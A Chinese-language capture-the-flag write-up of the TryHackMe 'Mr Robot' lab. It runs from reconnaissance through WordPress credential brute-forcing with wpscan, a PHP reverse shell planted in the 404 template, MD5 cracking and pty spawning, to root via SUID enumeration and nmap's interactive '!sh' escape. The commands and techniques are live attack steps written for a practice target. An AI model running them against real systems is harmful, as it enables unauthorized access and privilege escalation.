thm-机器人先生
几个中规中矩的机器,不算难,需要找到3个flag
信息收集
拿到ip就先进行namp扫描了
只开启了www服务,22端口还关闭了
在80服务寻找漏洞
80服务看起来很高级,
一个终端,但是在你输入他的选项好像并没有什么用(好像就是前端做出来的效果
扫描目录
dirsearch
一眼wordpress和phpmyadmin
第一个flag
在robots.txt里面发现了第一个flag和一个字典
字典先下载(后面用户爆破需要
爆破账户和密码
随便在框中输入信息,然后burp抓包,去爆破账户(先爆破账户,会更快
(虚拟机的burp每次用都好卡,加载的慢死了
爆破出账户(Elliot),下面就是密码。
直接用wpscan(burp卡死了
用wpscan的时候可以把字典简化一下用sort把重复的数据删掉
wpscan --url http://10.10.49.178/ -U Elliot -P Downloads/1.dic
得到密码(ER28-0652)
直接就可以登陆后台了
拿到初始shell
进入后台,直接修改界面的404.php,把它改为我们php的反向shell,
404界面在主题-编辑里面
把里面的内容直接修改为我们的php-reverse-shell.php
需要改动里面的ip和port
复制粘贴进去保存
kali监听4444端口,然后浏览器访问404界面
拿到shell
我们拿到的是daemon用户的权限但是我们不知道他的密码是啥,这时候就需要去寻找其他用户或者本用户的密码,以此来获得更大的权限
提权
在home目录中找到了robot用户
里面有第二个flag但是权限不够,注意到另一个文件一个被md5加密的密码
$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b
直接去网站解密
拿到密码
abcdefghijklmnopqrstuvwxyz
由于靶机ssh端口没开就尝试使用su
$ su robot
su: must be run from a terminal
看来还要起一个终端
python -c "import pty;pty.spawn('/bin/sh')"
成功登陆robot账户
现在就能够读取第二个flag
尝试使用sudo提权但是系统提示该用户没有具有sudo权限的命令
尝试suid提权
以下命令可以发现系统上运行的所有SUID可执行文件。具体来说,命令将尝试查找具有root权限的SUID的文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
find / -user root -perm -4000 -print 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown
发现nmap命令有suid权限(较旧版本的Nmap(2.02至5.21)具有交互模式,允许用户执行shell命令。由于Nmap在使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell)
nmap -v
Starting nmap 3.81 ( http://www.insecure.org/nmap/ ) at 2024-09-23 07:44 UTC
No target machines/networks specified!
3.81可以利用
通过执行nmap --interactive
获取交互模式
然后执行!sh
就可以获得一个具有root权限的shell
第三个flag就在/root目录下面
总体来说不算难的靶场,中等偏下
文章评论